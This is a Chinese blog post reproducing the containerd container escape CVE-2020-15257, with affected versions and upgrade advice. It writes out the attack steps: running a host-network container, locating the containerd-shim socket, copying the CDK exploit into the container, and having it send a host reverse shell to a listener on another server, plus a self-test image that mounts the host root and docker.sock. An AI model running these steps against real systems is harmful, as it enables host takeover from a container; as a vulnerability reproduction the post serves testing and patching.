分类:
linux中cve
Docker容器逃逸漏洞(CVE-2020-15257)复现
漏洞概述
containerd是行业标准的容器运行时,可作为Linux和Windows的守护程序使用。在版本1.3.9和1.4.3之前的容器中,容器填充的API不正确地暴露给主机网络容器。填充程序的API套接字的访问控制验证了连接过程的有效UID为0,但没有以其他方式限制对抽象Unix域套接字的访问。这将允许在与填充程序相同的网络名称空间中运行的恶意容器(有效UID为0,但特权降低)导致新进程以提升的特权运行。
影响版本
- containerd < 1.4.3
- containerd < 1.3.9
环境搭建
安装有漏洞的containerd版本
这里我使用的版本是1.2.6
漏洞复现
通过 --net=host
作为启动参数来运行一个容器:
docker run -it --net=host ubuntu:18.04 /bin/bash
接着在容器内执行
cat /proc/net/unix|grep -a "containerd-shim"
可看到抽象命名空间Unix域套接字
Poc地址
https://github.com/Xyntax/CDK/releases/tag/0.1.6
这里为了方便行事,我们下载解压直接把cdk_linux_amd64
文件拷贝到容器里
tar -zxvf cdk_v0.1.6_release.tar.gz
docker cp cdk_linux_amd64 3e19b9e33ad0:/tmp
然后在另外一个服务器上用瑞士军刀6666
端口,开启监听。
在容器中执行exp,自动搜索可用的socket并反弹宿主机的shell到远端服务器,完成逃逸
漏洞应急与自测
为了便于验证用户环境中是否存在该漏洞,我们提供了poc镜像。使用方式如下:
sudo docker run -it --rm -v /:/host/ -v /var/run/docker.sock:/var/run/docker.sock --net=host dosecteam/pocs:CVE-2020-15257
修复建议
升级 containerd 至最新版本。
欢迎加群讨论技术,1群:677373950(满了,可以加,但通过不了),2群:656732739
评价
排名
2
文章
623
粉丝
44
评论
93
docker中Sware集群与service
尘叶心繁 : 想学呀!我教你呀
一个bug让程序员走上法庭 索赔金额达400亿日元
叼着奶瓶逛酒吧 : 所以说做程序员也要懂点法律知识
.net core 塑形资源
剑轩 : 收藏收藏
映射AutoMapper
剑轩 :
好是好,这个对效率影响大不大哇,效率高不高
一个bug让程序员走上法庭 索赔金额达400亿日元
剑轩 : 有点可怕
ASP.NET Core 服务注册生命周期
剑轩 :
http://www.tnblog.net/aojiancc2/article/details/167
ICP备案 :渝ICP备18016597号-1
网站信息:2018-2025TNBLOG.NET
技术交流:群号656732739
联系我们:contact@tnblog.net
公网安备:50010702506256
欢迎加群交流技术